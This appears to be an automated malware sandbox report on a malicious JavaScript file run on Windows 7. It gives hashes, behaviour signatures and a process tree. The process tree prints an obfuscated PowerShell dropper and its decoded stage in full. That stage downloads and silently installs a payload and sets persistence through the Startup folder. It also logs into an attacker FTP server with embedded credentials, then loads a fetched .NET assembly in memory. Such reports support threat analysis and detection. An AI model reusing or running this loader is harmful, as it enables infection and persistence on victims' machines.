Overview

overview

10

Static

static

1

21df648fd0...0d3.js

windows7-x64

10

21df648fd0...0d3.js

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-10-2024 01:15

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General

  • Target

    21df648fd084fe89b86984addfb3075d9eec1d3927252c38ea1c9049554dc0d3.js

  • Size

    120KB

  • MD5

    c654511bc71143604fa59947da8225bf

  • SHA1

    11cb2a2983a22a64b7a822a9b0c484dc1dd5d1e9

  • SHA256

    21df648fd084fe89b86984addfb3075d9eec1d3927252c38ea1c9049554dc0d3

  • SHA512

    a646b7e6b4f16390a61399531ca0b5611602020c98084f8e65ca93e1c335bb1416a7054456217287a33f31d8e54ad8e66125ca7e8ddb87daf7de0f065ae79693

  • SSDEEP

    1536:5dgBlOFpdq7MkzYWELraVId79UuxMoMxMUOIVSq41M2twpJS7fZ134Sm:+YFp0wq

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\21df648fd084fe89b86984addfb3075d9eec1d3927252c38ea1c9049554dc0d3.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + 'RAEQAcg' + [char]66 + 'mAFYAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAUQ' + [char]66 + 'EAHIAZg' + [char]66 + 'WACAAKQAgAHsAJA' + [char]66 + 'UAFoAVw' + [char]66 + 'vAHUAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAFQAWg' + [char]66 + 'XAG8AdQAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'kAGgAeQ' + [char]66 + 'sAGsAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAcQ' + [char]66 + 'WAGcAVw' + [char]66 + 'EACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAcQ' + [char]66 + 'WAGcAVw' + [char]66 + 'EACAAKQAgAHsAJA' + [char]66 + 'kAGgAeQ' + [char]66 + 'sAGsAIAA9ACAAKAAkAGQAaA' + [char]66 + '5AGwAawAgACsAIAAnADEATg' + [char]66 + 'hAHEAZA' + [char]66 + 'OAFgAaQ' + [char]66 + 'HAHYASQ' + [char]66 + 'fAHEAMQ' + [char]66 + 'SAFAAaw' + [char]66 + 'hAHoARg' + [char]66 + '0AE0AeQ' + [char]66 + 'nAG0AYQ' + [char]66 + 'xAFQASg' + [char]66 + 'YAHUANAAyACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGQAaA' + [char]66 + '5AGwAawAgAD0AIAAoACQAZA' + [char]66 + 'oAHkAbA' + [char]66 + 'rACAAKwAgACcAMQ' + [char]66 + 'nADEAag' + [char]66 + 'tAFgAdQ' + [char]66 + 'zAFgAOQ' + [char]66 + 'tAGMAOQ' + [char]66 + 'WAG0AaA' + [char]66 + 'WAHIASg' + [char]66 + 'KADIAWA' + [char]66 + 'vAGYAWgAzAGEASw' + [char]66 + 'fAGMATA' + [char]66 + 'PAHQAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'kAGgAeQ' + [char]66 + 'sAGsAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'kAGgAeQ' + [char]66 + 'sAGsALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'kAGgAeQ' + [char]66 + 'sAGsALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAVQ' + [char]66 + 'SAEwASw' + [char]66 + 'CACwAIAAkAFQAWg' + [char]66 + 'XAG8AdQAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApACAAOwAkAG0AYw' + [char]66 + 'ZAEQAZgAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + '0AGsAcA' + [char]66 + 'sAEIAIAA9ACAAKAAgACQAVA' + [char]66 + 'aAFcAbw' + [char]66 + '1ACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '0AGsAcA' + [char]66 + 'sAEIAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAbQ' + [char]66 + 'jAFkARA' + [char]66 + 'mACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ADsAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAHIAdg' + [char]66 + 'pAGMAZQ' + [char]66 + 'QAG8AaQ' + [char]66 + 'uAHQATQ' + [char]66 + 'hAG4AYQ' + [char]66 + 'nAGUAcg' + [char]66 + 'dADoAOg' + [char]66 + 'TAGUAYw' + [char]66 + '1AHIAaQ' + [char]66 + '0AHkAUA' + [char]66 + 'yAG8AdA' + [char]66 + 'vAGMAbw' + [char]66 + 'sACAAPQAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'OAGUAdAAuAFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAVA' + [char]66 + '5AHAAZQ' + [char]66 + 'dADoAOg' + [char]66 + 'UAGwAcwAxADIAOwAkAHIAZg' + [char]66 + '4AHMAdgAgAD0AIAAoAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACkAOwAkAHIAZg' + [char]66 + '4AHMAdgAuAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAD0AIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AVA' + [char]66 + 'lAHgAdAAuAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZw' + [char]66 + 'dADoAOg' + [char]66 + 'VAFQARgA4ADsAJA' + [char]66 + 'yAGYAeA' + [char]66 + 'zAHYALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAsACcAZA' + [char]66 + 'lAHYAZQ' + [char]66 + 'sAG8AcA' + [char]66 + 'lAHIAcA' + [char]66 + 'yAG8AMgAxADUANwA4AEoAcA' + [char]66 + 'AAEAAJwApADsAJA' + [char]66 + 'jAGsAUQ' + [char]66 + 'QAFcAIAA9ACAAJA' + [char]66 + 'yAGYAeA' + [char]66 + 'zAHYALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQAUw' + [char]66 + '0AHIAaQ' + [char]66 + 'uAGcAKAAgACcAZg' + [char]66 + '0AHAAOgAvAC8AZA' + [char]66 + 'lAHMAYw' + [char]66 + 'rAHYAYg' + [char]66 + 'yAGEAdAAxAEAAZg' + [char]66 + '0AHAALg' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0AC4AYw' + [char]66 + 'vAG0ALg' + [char]66 + 'iAHIALw' + [char]66 + 'VAHAAYw' + [char]66 + 'yAHkAcA' + [char]66 + '0AGUAcgAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'yAGYAeA' + [char]66 + 'zAHYALg' + [char]66 + 'kAGkAcw' + [char]66 + 'wAG8Acw' + [char]66 + 'lACgAKQA7ACQAcg' + [char]66 + 'mAHgAcw' + [char]66 + '2ACAAPQAgACgATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAKQA7ACQAcg' + [char]66 + 'mAHgAcw' + [char]66 + '2AC4ARQ' + [char]66 + 'uAGMAbw' + [char]66 + 'kAGkAbg' + [char]66 + 'nACAAPQAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'UAGUAeA' + [char]66 + '0AC4ARQ' + [char]66 + 'uAGMAbw' + [char]66 + 'kAGkAbg' + [char]66 + 'nAF0AOgA6AFUAVA' + [char]66 + 'GADgAOwAkAGMAaw' + [char]66 + 'RAFAAVwAgAD0AIAAkAHIAZg' + [char]66 + '4AHMAdgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'jAGsAUQ' + [char]66 + 'QAFcAIAApADsAWw' + [char]66 + 'CAHkAdA' + [char]66 + 'lAFsAXQ' + [char]66 + 'dACAAJA' + [char]66 + 'kAEMAaQ' + [char]66 + 'XAHoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEMAbw' + [char]66 + 'uAHYAZQ' + [char]66 + 'yAHQAXQA6ADoARg' + [char]66 + 'yAG8AbQ' + [char]66 + 'CAGEAcw' + [char]66 + 'lADYANA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'jAGsAUQ' + [char]66 + 'QAFcALg' + [char]66 + 'SAGUAcA' + [char]66 + 'sAGEAYw' + [char]66 + 'lACgAIAAnAJMhOgCTIScAIAAsACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAApACAAKQA7AFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAG8AbQ' + [char]66 + 'hAGkAbg' + [char]66 + 'dADoAOg' + [char]66 + 'DAHUAcg' + [char]66 + 'yAGUAbg' + [char]66 + '0AEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAC4ATA' + [char]66 + 'vAGEAZAAoACAAJA' + [char]66 + 'kAEMAaQ' + [char]66 + 'XAHoAIAApAC4ARw' + [char]66 + 'lAHQAVA' + [char]66 + '5AHAAZQAoACAAJw' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMATA' + [char]66 + 'pAGIAcg' + [char]66 + 'hAHIAeQAzAC4AQw' + [char]66 + 'sAGEAcw' + [char]66 + 'zADEAJwAgACkALg' + [char]66 + 'HAGUAdA' + [char]66 + 'NAGUAdA' + [char]66 + 'oAG8AZAAoACAAJw' + [char]66 + 'wAHIARg' + [char]66 + 'WAEkAJwAgACkALg' + [char]66 + 'JAG4Adg' + [char]66 + 'vAGsAZQAoACQAbg' + [char]66 + '1AGwAbAAsACAAWw' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdA' + [char]66 + 'bAF0AXQAgACgAIAAnAHQAeA' + [char]66 + '0AC4Acw' + [char]66 + '2AHIAZQ' + [char]66 + 'zAC8AeA' + [char]66 + 'pAGYALw' + [char]66 + 'zAG4AaQ' + [char]66 + 'nAHUAbA' + [char]66 + 'wAC8AdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AYwAtAHAAdwAvAGwAYwAuAHMAbw' + [char]66 + 'uAGkAYw' + [char]66 + 'uAGUAcw' + [char]66 + 'vAGwAZQ' + [char]66 + '1AHEAcg' + [char]66 + 'hAHAALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAIAAsACAAJwAlAEQAQw' + [char]66 + 'QAEoAVQAlACcALAAgACcAdA' + [char]66 + 'yAHUAZQAxACcAIAApACAAKQA7AH0AOwA=';$jPhaA = $jPhaA.replace('革','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\21df648fd084fe89b86984addfb3075d9eec1d3927252c38ea1c9049554dc0d3.js') ;powershell $jPhaA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2868
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$QDrfV = $host.Version.Major.Equals(2);If ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ($TZWou + '\Upwin.msu');$dhylk = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $qVgWD ) {$dhylk = ($dhylk + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$dhylk = ($dhylk + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$dhylk = ( New-Object Net.WebClient ) ;$dhylk.Encoding = [System.Text.Encoding]::UTF8 ;$dhylk.DownloadFile($URLKB, $TZWou + '\Upwin.msu') ;$mcYDf = ( 'C:\Users\' + [Environment]::UserName );tkplB = ( $TZWou + '\Upwin.msu' ) ; powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\21df648fd084fe89b86984addfb3075d9eec1d3927252c38ea1c9049554dc0d3.js' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$rfxsv = (New-Object Net.WebClient);$rfxsv.Encoding = [System.Text.Encoding]::UTF8;$rfxsv.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$ckQPW = $rfxsv.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$rfxsv.dispose();$rfxsv = (New-Object Net.WebClient);$rfxsv.Encoding = [System.Text.Encoding]::UTF8;$ckQPW = $rfxsv.DownloadString( $ckQPW );[Byte[]] $dCiWz = [System.Convert]::FromBase64String( $ckQPW.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $dCiWz ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'txt.svres/xif/snigulp/tnetnoc-pw/lc.sonicnesoleuqrap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\21df648fd084fe89b86984addfb3075d9eec1d3927252c38ea1c9049554dc0d3.js', 'true1' ) );};"
        3⤵
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe tkplB /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2812
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" tkplB /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:3044
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2612

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QFFBXDS01EIF26T62ISN.temp
    Filesize

    7KB

    MD5

    feb2ce82483b9b46a4b083e5d073f338

    SHA1

    5f8c25793a1bff0371f928bcfab13b2cf408ae6c

    SHA256

    2ec1372d0577f668bf33900d21c4cfa44c76edad6480828881d93b4c1f5f2467

    SHA512

    9289d70042fb998a1c57e45998c0d790a31fe9885a743c400d1b8bbc28570483c1fdb769d845dc8ca71d5d3c02b9caddc13cab0f1fdc2d710a05965cd45ee6b9

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  • memory/2868-4-0x000007FEF55EE000-0x000007FEF55EF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2868-7-0x0000000000400000-0x0000000000408000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2868-6-0x000000001B710000-0x000000001B9F2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2868-5-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-8-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-10-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-9-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-11-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-29-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2868-30-0x000007FEF55EE000-0x000007FEF55EF000-memory.dmp

    Filesize

    4KB

    Download